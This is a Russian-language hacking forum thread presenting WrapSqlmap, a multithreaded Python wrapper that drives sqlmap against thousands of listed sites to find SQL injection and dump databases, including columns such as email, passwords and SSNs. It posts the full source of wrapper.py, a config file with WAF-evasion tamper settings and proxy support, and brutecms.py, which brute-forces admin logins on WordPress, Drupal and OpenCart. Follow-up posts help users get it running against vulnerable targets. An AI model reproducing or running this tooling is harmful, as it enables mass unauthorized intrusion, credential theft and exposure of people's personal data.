Статья WrapSqlmap - массовый слив баз с помощью доработанного sqlmap

Привет, Codeby. Давным давно мне в руки попала версия sqlmap, который может все то, что и оригинальный sqlmap, только цель мы указываем в файле sites.txt( в wrapper_config.py можно изменить название файла ) и не одну. Допустим, если Вы арендуете сервак средней мощности, то за день WrapSqlmap может проверить около 3-4 тысяч сайтов. Я попытался найти автора программы, но так и не получилось( если кто знает автора передайте ему респект ). Также я знаю, что есть еще одна версия, где полностью переписано ядро. Ссылка на скачивание -

Итак, все самое главное находится в двух файлах wrapper_config.py и wrapper.py.

29271


В этом файле мы изменяем нужные нам параметры, допустим название файла с целями, указываем параметры для Sqlmap: RISK, LEVEL, потоки, прокси и прочее...

Я как человек, который любит писать все свое не удержался и решил немного доработать, хоть здесь и так все на высоте, я добавил всего то пару функций, первая это проверка файла с целями, она проверяет стоит ли перед доменом протокол( http, https ), если нет, то добавляет, также ищет и удаляет такие домены как facebook, microsoft и.т.п. Если вы не хотите, чтобы прога проверяла Ваш файл с целями, то в wrapper_config.py найдите параметр Check_List и поставьте значение False. Также я добавил слив по колонкам, то есть при запуске программы Вы указываете колонки, которые sqlmap должен слить. Пример:
Код:
python wrapper.py email,pass,ssn
Если Вы не укажете аргумент, то поиск колонок будет идти по умолчанию. Программа параллельно открывает кучу потоков и запускает sqlmap. Я специально не хочу все рассказывать об этой программе, так как натворить дел с помощью нее можно. Вот скриншот работы программы:

29272

Сайт на скриншоте был взят в качестве примера, никакого вреда причинено не было

Я думаю, что такую программу все-таки нужно разместить в открытый доступ, так как у многих с которыми я общался она уже есть. Я еще планирую ее доработать для себя, например сделать удаление дубликатов сразу при проверке файла с целями, хоть такая функция уже есть в оригинальном коде, я не знаю насколько хорошо она работает и возможно изменю параметры самой команды sqlmap.

P.S Если Вы найдете дампы, то они старого владельца, как и список с целями, которые уже неактуальны как и дампы.
 
Последнее редактирование:
@DefWolf еще вопрос, как находится скуля на каком либо сайте, куда нибудь записывается линк на уязвимость? Если сохраняет то как? По ходу работы или когда закончит?
 
Последнее редактирование:
@DefWolf еще вопрос, как находится скуля на каком либо сайте, куда нибудь записывается линк на уязвимость? Если сохраняет то как? По ходу работы или когда закончит?
Когда закончит все дампы сохраняет в txt_dumps, если включен параметр DELETE, удаляет в папке пустые дампы, и записывает домен в файл goodsqli.txt
 
  • Нравится
Реакции: SlipX и aScape
Обновление для брута, добавил потоки, теперь скорость в разы больше, идет брут трех CMS: WordPress, Drupal, OpenCart. Потоки выставлять в конфиге в парметре THREADS_BRUTE.

brutecms.py
Python:
import urlparse
import requests
import builtwith
import threading

import wrapper_config

import Queue


class CMSBrute(threading.Thread):

    def __init__(self, cms, url, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.cms = cms
        self.url = url


    def run(self):
        while True:
            pwd = self.queue.get()
            self.brute(pwd)
            self.queue.task_done()

    def brute(self,  passw):
        try:
            found = []
            url = self.url
            headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)" }
            cms = self.cms
            if ('WordPress' in cms):
                url = urlparse.urljoin(url, '/') + "wp-login.php"
                response = requests.get(url, headers=headers, timeout=60)
                if(response.status_code == 200):
                    print "[-] URL: " + url + " Login: admin | Password: " + passw
                    wp = {'log': 'admin', 'pwd': passw, 'wp-submit': 'Login', 'redirect_to': url + '/wp-admin/' }
                    response = requests.post(url, data=wp, headers=headers, timeout=60)
                    if('/wp-admin' in response.url):
                        found = '[+] URL: ' + url + ' Login: admin | password: ' + passw + '\n'
                        open(wrapper_config.BRUTE_SAVE_FILE, 'a+').write(str(found) + '\n')
                        print found
            elif('Drupal' in cms):
                url = urlparse.urljoin(url, '/') + "user/login"
                response = requests.get(url, headers=headers, timeout=60)
                if(response.status_code == 200):
                    print "[-] URL: " + url + " Login: admin | Password: " + passw
                    drupal = { 'name': 'admin', 'pass': passw, 'form_build_id': '', 'form_id': 'user_login',  'op' : 'Log in' }
                    response = requests.post(url, data=drupal, headers=headers, timeout=60)
                    if ('Log out' in response.content):
                        found = '[+] URL: ' + url + ' Login: admin | password: ' + passw + '\n'
                        open(wrapper_config.BRUTE_SAVE_FILE, 'a+').write(str(found) + '\n')
                        print found
            elif('OpenCart' in cms):
                url = urlparse.urljoin(url, '/') + "/admin/index.php"
                response = requests.get(url, headers=headers, timeout=60)
                if(response.status_code == 200):
                    print "[-] URL: " + url + " Login: admin | Password: " + passw
                    opencart = { 'username': 'admin', 'password': passw }
                    response = requests.post(url, data=opencart, headers=headers, timeout=60)
                    if ('Logout' in response.content):
                        found = '[+] URL: ' + url + ' Login: admin | password: ' + passw + '\n'
                        open(wrapper_config.BRUTE_SAVE_FILE, 'a+').write(str(found) + '\n')
                        print found         
        except Exception, error_code:
            print error_code


def checkcms(url):
    try:
        cms = builtwith.builtwith(url)
        w = url + " | CMS: " + cms["cms"][0]
    except:
        w = "Not Found"
    return w


def main(cms, url, thread):
    queue = Queue.Queue()
    for i in range(thread):
        insts = CMSBrute(cms, url, queue)
        insts.setDaemon(True)
        insts.start()
    passw = open(wrapper_config.PASSW_FILE).read().splitlines()
    for pwd in passw:
        queue.put(pwd)

    queue.join()

def brutecont():
    if wrapper_config.BRUTE_CMS == True:
        try:
            urls = open(wrapper_config.URLS_FILE).read().splitlines()
            for url in urls:
                url = urlparse.urljoin(url, '/')
                cms = checkcms(url)
                main(cms, url, wrapper_config.THREADS_BRUTE)
        except:pass
wrapper.py
Python:
#!/usr/bin/env python
#coding: utf-8
from multiprocessing.dummy import Pool
from subprocess import Popen, PIPE, call, check_call
import os
import re
import sys
import glob
import time
import shutil
import logging
import urlparse
import requests
#import Exploits
import traceback
import threading
import builtwith
from random import choice
#from urlparse import urlparse
from datetime import datetime

from psutil import Process, TimeoutExpired

from requests import get
from brutecms import brutecont
from requests.exceptions import ReadTimeout, ConnectTimeout


import wrapper_config


try:
    dump = sys.argv[1]
except:
    dump = wrapper_config.COLUMN_DUMP

if (wrapper_config.Check_SQLi == True and wrapper_config.DUMP == True and wrapper_config.DUMP_ALL == True and wrapper_config.BRUTE_CMS == False and wrapper_config.EXPLOITS_CMS == False):
    print('Check_SQLi or DUMP or DUMP_ALL or BRUTE_CMS or EXPLOITS_CMS')
    sys.exit()
elif (wrapper_config.Check_SQLi == False and wrapper_config.DUMP == False and wrapper_config.DUMP_ALL == False and wrapper_config.BRUTE_CMS == False and wrapper_config.EXPLOITS_CMS == False):
    print('Check_SQLi or DUMP or DUMP_ALL or BRUTE_CMS or EXPLOITS_CMS')
    sys.exit()


DUMP_SQLMAP_FOLDER = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.DUMP_FOLDER)


DUMP_SQLMAP_SAVE = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.SQLMAP_DUMPS)

print DUMP_SQLMAP_SAVE

DUMP_TXT_FOLDER = os.path.join(
    os.path.dirname(
        os.path.realpath(__file__)),
        wrapper_config.WRAPPER_TXT_DUMPS)

print DUMP_TXT_FOLDER

      
STEPS = [10,100, 300, 500, 1000, 1500, 2000, 3000, 5000, 10000, 20000, 50000, 100000]
#STEPS = [100]

def checkcms(url):
    try:
        cms = builtwith.builtwith(url)
        w = url + " | CMS: " + cms["cms"][0]
    except:
        w = checkencoom(url)
    return w

def checkencoom(url):
    try:
        cms = builtwith.builtwith(url)
        w = url + " | CMS: " + cms["ecommerce"][0]
    except:
        w = "CMS: Not found"
    return w

  
def sqlmap_check(url, pos, check_timeout, proxy=None):
    print('set %s' % url)
    print('left %s url(s)' % pos)
    if proxy:
        print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy))
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--count',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-format=CSV',
                '--answers=quit=n,crack=n',
                '--search',
                '-C %s' % dump,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME,
                    wrapper_config.PROXY_PASSWORD),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--count',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-format=CSV',
                '--answers=quit=n,crack=n',
                '--search',
                '-C %s' % dump,
                #'--answers="quit=n, crack=n"'
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',

            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--count',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--answers=quit=n,crack=n',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',

            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass

    end_time = datetime.now().time()
    if domains_dublicate(url):
        print('detect domains dublicate %s pass it' % url)
        return False
    dbs_data = log_num_parser(url)
    #print  dbs_data
    #sys.exit()
  
    if dbs_data:
        async_tables_pool = Pool()
        for db, tables in dbs_data.items():
            for table, num in tables.items():
                for step in STEPS: #STEPS = [10,100, 300, 500, 1000, 1500, 2000, 3000, 5000, 10000, 20000, 50000, 100000]
                    if int(num) > step:
                        try:
                            async_tables_pool.apply_async(
                                    sqlmap_dump(
                                    url,
                                    56000,
                                    proxy))
                        except:pass

                    else:

                        break
        async_tables_pool.close()
        async_tables_pool.join()


def sqlmap_dump(url, check_timeout, proxy=None):
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME,
                    wrapper_config.PROXY_PASSWORD),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--time-sec=15',
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--search',
                '-C %s' % dump,
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass


def sqlmap_dump_all(url, pos, check_timeout, proxy=None):
    print "Dump All"
    print('set %s' % url)
    print('left %s url(s)' % pos)
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-all',
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME,
                    wrapper_config.PROXY_PASSWORD),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-all',
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
  
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--time-sec=15',
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--dump-all',
                '--dump-format=CSV',
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                #'--proxy=socks5://localhost:9091',
                '--exclude-sysdbs',
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired:pass     
        try:
            psu_process.kill()
        except:pass


def sqli_check(url, pos, check_timeout, proxy=None):
    print "Find SQLi"
    print('set %s' % url)
    print('left %s url(s)' % pos)
    if proxy:
        print('set proxy %s://%s' % (wrapper_config.PROXY_TYPE, proxy))
    start_time = datetime.now().time()
    if wrapper_config.PROXY and wrapper_config.PROXY_USERNAME  and wrapper_config.PROXY_PASSWORD:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--time-sec=30',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--proxy-cred=%s:%s' % (
                    wrapper_config.PROXY_USERNAME,
                    wrapper_config.PROXY_PASSWORD),
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    elif wrapper_config.PROXY:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--proxy=%s://%s' % (
                    wrapper_config.PROXY_TYPE,
                    proxy),
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass
    else:
        process = Popen(
            [
                'python',
                'sqlmap.py',
                '--url=%s' % url,
                '--time-sec=15',
                '--batch',
                '--level=%s' % wrapper_config.LEVEL,
                '--risk=%s' % wrapper_config.RISK,
                '--random-agent',
                '--threads=3',
                '--answers=quit=n,crack=n',
                '--tamper=%s' % wrapper_config.TAMPER,
                '--output-dir=%s' % DUMP_SQLMAP_SAVE,
                '--timeout=%s' % wrapper_config.TIMEOUT,
                '--retries=%s' % wrapper_config.RETRIES,
                '--technique=EUSQ',
            ])
        psu_process = Process(process.pid)
        try:
            psu_process.wait(check_timeout)
        except TimeoutExpired: pass
        try:
            psu_process.kill()
        except: pass


def domains_dublicate(url):
    try:
        domains = urlparse(url).netloc
        if ':' in domains:
            domains = domains.split(':')[0]
            if domains in dublicates:
                return True
        else:
            dublicates.append(domains)
            open('dublicat.txt', 'a+').write(domains + '\n')
            return False
    except:
        return False



def clean_url(url):
    return url.split("'")[0]


def get_proxies(url):
    try:
        return get(url, timeout=120).text.splitlines()
    except (ConnectTimeout, ReadTimeout):
        print('cant grab proxies %s ; check link' % url)
        sys.exit()


def find_dump():
    for file in glob.glob(DUMP_SQLMAP_SAVE+"/**"):
        for dirpath, dirnames, files in os.walk(file):
            for filelog in  files:
                if filelog == 'log':
                    if os.path.getsize(dirpath + '/' + filelog) > 0:
                        url = dirpath.split('/')[4]
                        open(wrapper_config.SQLi_SAVE_FILE, 'a+').write(str(url) + '\n')
                        log_file = open(dirpath + '/' + filelog)
                        open('log', 'a+').write(dirpath + '\n')
                        for line in log_file:
                            open('log', 'a+').write(line + '\n')
                        del_dub(wrapper_config.SQLi_SAVE_FILE)
                    else:
                        if wrapper_config.DELETE == True:
                            shutil.rmtree(file)


def save_txt():
    for root, dirs, files in os.walk(DUMP_SQLMAP_SAVE):
        for file in files:
            print file
            if file.endswith(".csv"):
                path_file = os.path.join(root,file)
                res = file.replace('.csv', '.txt')
                shutil.copy(path_file, DUMP_TXT_FOLDER + '/' + res)


def del_dub(file):
    text_file = open(file)
    lines = text_file.read().split('\n')
    lines = list(set(lines))
    lines = list(filter(None, lines))
    open(file, 'w').close()
    for line in lines:
        open(file, 'a+').write(line+'\n')


def sites_dev():
    if wrapper_config.Check_List == True:
        print('Check list target')
        output = []
        urls = open(wrapper_config.URLS_FILE).read().splitlines()
        for url in urls:
            check = re.compile(r'^(?:http)s?://', re.IGNORECASE)
            checks =  re.match(check, url) is not None
            if len(url) > 0:
                if checks != True:
                    open(wrapper_config.URLS_FILE, 'a+').write('http://' + url + '\n')
                    del_dub(wrapper_config.URLS_FILE)
        urls = open(wrapper_config.URLS_FILE).read().splitlines()
        for url in urls:
            if not "facebook" in url and not "ebay" in url and not "youtube" in url and not "google" in url and not "cxsecurity" in url and not "pastebin" in url and not "amazon" in url and not "microsoft" in url and not "yahoo" in url and "http" in url and len(url) > 0:
                output.append(url + '\n')
        if output:
            f = open(wrapper_config.URLS_FILE, 'w')
            f.writelines(output)
            f.close()
            del_dub(wrapper_config.URLS_FILE)
        if os.stat(wrapper_config.URLS_FILE).st_size == 0:
            print 'No target'
            sys.exit()



def get_dump_size(url):
    domains = urlparse(url).netloc
    if ':' in domains:
        domains = domains.split(':')[0]
    domains_dump_folder = os.path.join(
        DUMP_SQLMAP_FOLDER,
        domains,
        'dump')
    total_size = 0
    for dirpath, dirnames, filenames in os.walk(domains_dump_folder):
        for f in filenames:
            fp = os.path.join(dirpath, f)
            total_size += os.path.getsize(fp)
    return total_size/1024
  

dublicates = None

def threads():
    global dublicates
    dublicates = []
    new = False
    try:
        logfile = open(wrapper_config.LOG_FILE).read().splitlines()
    except: new = True
    else:
        if len(logfile) > 2:
            for line in logfile:
                if 'all work done' in line:
                    new = True
        else:
            new = True
    if new:
        if wrapper_config.DEBUG:
            logging.basicConfig(
                level=logging.DEBUG,
                filename=wrapper_config.LOG_FILE,
                filemode='w')
        print('starting new session')
        try:
            urls = open(wrapper_config.URLS_FILE).read().splitlines()
        except IOError:
            print('cant open %s check file' % wrapper_config.URLS_FILE)
            sys.exit()

    else:
        if wrapper_config.DEBUG:
            logging.basicConfig(
                level=logging.DEBUG,
                filename=wrapper_config.LOG_FILE,
                filemode='a')
        print('detect previous session, restore')
        try:
            urls = open(wrapper_config.URLS_FILE).read().splitlines()
            #print   urls
        except IOError:
            print('cant open %s check file' % wrapper_config.URLS_FILE)
            sys.exit()
        for line in reversed(logfile):
            if ':set' in line:
                try:
                    lasturl = line.split(':set ')[1]
                    lasturl_index = urls.index(lasturl) + 1
                except: print('cant detect last url %s in task' % lasturl)
                else:
                    print('detect last url in task %s' % lasturl)
                break

    proxies = []
    if wrapper_config.PROXY:
        if wrapper_config.PROXY_FILE:
            proxies = open(wrapper_config.PROXY_FILE).read().splitlines()
            print('get proxies from %s' % wrapper_config.PROXY_FILE)
          
    for lim in range(0, len(urls), wrapper_config.URLS_LIMIT):
        urls_chunk = urls[lim:lim + wrapper_config.URLS_LIMIT]
        pool = Pool(wrapper_config.THREADS)
        for index, url in enumerate(urls_chunk):
            try:
                position = len(urls) - urls.index(url)
            except:
                position = 0

            if wrapper_config.Check_SQLi == True:
                if wrapper_config.PROXY:
                    pool.apply_async(sqli_check, (
                        clean_url(url),
                        position, 56000, choice(proxies)))
                else:
                    pool.apply_async(sqli_check, (
                        clean_url(url),
                        position, 56000))

            if wrapper_config.DUMP == True:
                if wrapper_config.PROXY:
                    pool.apply_async(sqlmap_check, (
                        clean_url(url),
                        position, 56000, choice(proxies)))
                else:
                    pool.apply_async(sqlmap_check,
                        (clean_url(url), position, 56000))
                  
            if wrapper_config.DUMP_ALL == True:
                if wrapper_config.PROXY:
                    pool.apply_async(sqlmap_dump_all, (
                        clean_url(url),
                        position, 56000, choice(proxies)))
                else:
                    pool.apply_async(sqlmap_dump_all,
                        (clean_url(url), position, 56000))


        pool.close()
        pool.join()

    find_dump()
    save_txt()
    brutecont()
    #exploit()

try:
    sites_dev()
    threads()
except KeyboardInterrupt:
    save_txt()
    sys.exit()
wrapper_config.py
Python:
#coding: utf-8

# proxy types: http|https|socks4|socks5


DEBUG = True # False - without logs
#DEBUG = False # False - without logs
LOG_FILE = 'wrapper_session.log'

SQLMAP_DUMPS = 'dumps'
WRAPPER_TXT_DUMPS = 'txt_dumps'

URLS_FILE = 'site.txt'
SQLi_SAVE_FILE = 'goodsqli.txt'
BRUTE_SAVE_FILE = 'goodbrute.txt'
THREADS_BRUTE = 100
EXPLOITS_CMS = True
Check_SQLi = False
DUMP = False
DUMP_ALL = True
PASSW_FILE = 'passw.txt'
COLUMN_DUMP = 'mail,pass,pwd,phone,ssn'
Check_List = True
BRUTE_CMS = True
PROXY = False # False if work without it
TAMPER = 'space2plus,randomcase,space2comment'
PROXY_TYPE = 'socks5'
PROXY_URL = '' # first
PROXY_FILE = '' # second if not first
PROXY_USERNAME = ''
PROXY_PASSWORD = ''
THREADS = 10
URLS_LIMIT = 10000000
DUMP_FOLDER = 'dump'
DUMP_COLUMN_LIMIT = 20 # 91 - 100 ...
TIMEOUT = 240 # sec
RETRIES = 5

DELETE=True

RISK = 3
LEVEL = 5
 
Последнее редактирование:
  • Нравится
Реакции: SlipX, r1z и Flyga
Опять проблема, сканит сайты сначала все норм, под конец летят дисконекты от сайтов http error. Пробовал множество сайтов, всё так же. Юзаю на дедике пропускная 1 тб/с
 
Опять проблема, сканит сайты сначала все норм, под конец летят дисконекты от сайтов http error. Пробовал множество сайтов, всё так же. Юзаю на дедике пропускная 1 тб/с
Прокси установлены? Попробуй увеличить число Timeout
 
Тс спасибо за труды! нубский вопрос после последнего апдейта снес старую версию установил новую в итоге такая фигня
Traceback (most recent call last):
File "wrapper.py", line 13, in <module>
import requests
File "/root/Downloads/wrap_sqlmap/requests/__init__.py", line 43, in <module>
import urllib3
File "/root/Downloads/wrap_sqlmap/urllib3/__init__.py", line 8, in <module>
from .connectionpool import (
File "/root/Downloads/wrap_sqlmap/urllib3/connectionpool.py", line 11, in <module>
from .exceptions import (
File "/root/Downloads/wrap_sqlmap/urllib3/exceptions.py", line 2, in <module>
from .packages.six.moves.http_client import (
ImportError: No module named packages.six.moves.http_client


помоги плиз!
 
Тс спасибо за труды! нубский вопрос после последнего апдейта снес старую версию установил новую в итоге такая фигня
Traceback (most recent call last):
File "wrapper.py", line 13, in <module>
import requests
File "/root/Downloads/wrap_sqlmap/requests/__init__.py", line 43, in <module>
import urllib3
File "/root/Downloads/wrap_sqlmap/urllib3/__init__.py", line 8, in <module>
from .connectionpool import (
File "/root/Downloads/wrap_sqlmap/urllib3/connectionpool.py", line 11, in <module>
from .exceptions import (
File "/root/Downloads/wrap_sqlmap/urllib3/exceptions.py", line 2, in <module>
from .packages.six.moves.http_client import (
ImportError: No module named packages.six.moves.http_client


помоги плиз!
Возьми со старой версии папку urllib3 и замени ею ту, которая в новой версии
 
  • Нравится
Реакции: Flyga
Возьми со старой версии папку urllib3 и замени ею ту, которая в новой версии
/root/Downloads/wrap_sqlmap/dumps
/root/Downloads/wrap_sqlmap/txt_dumps
Check list target
Traceback (most recent call last):
File "wrapper.py", line 742, in <module>
sites_dev()
File "wrapper.py", line 598, in sites_dev
urls = open(wrapper_config.URLS_FILE).read().splitlines()
IOError: [Errno 2] No such file or directory: 'site.txt'


теперь стала такая проблема , site.txt на месте
 
/root/Downloads/wrap_sqlmap/dumps
/root/Downloads/wrap_sqlmap/txt_dumps
Check list target
Traceback (most recent call last):
File "wrapper.py", line 742, in <module>
sites_dev()
File "wrapper.py", line 598, in sites_dev
urls = open(wrapper_config.URLS_FILE).read().splitlines()
IOError: [Errno 2] No such file or directory: 'site.txt'


теперь стала такая проблема , site.txt на месте
В конфиге укажи sites.txt, а у тебя указано site.txt
 
  • Нравится
Реакции: SlipX и Flyga
@DerWolf почему врап не сохраняет сайты с уязвимостями в goodsqli.txt
 
check_sqli=True, загрузил 30 линков уязвимых, они все уязвимы
Следи за sqlmap, он выводит когда нашел уязвимость, когда прочекает все ссылки запускается функция find_dump и он сохраняет все уязвимые домены в файл и файлы лога в общий файл
 
  • Нравится
Реакции: SlipX
Следи за sqlmap, он выводит когда нашел уязвимость, когда прочекает все ссылки запускается функция find_dump и он сохраняет все уязвимые домены в файл и файлы лога в общий файл
следил, уязвимости находит, когда линки заканчиваются врап резко закрывается
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!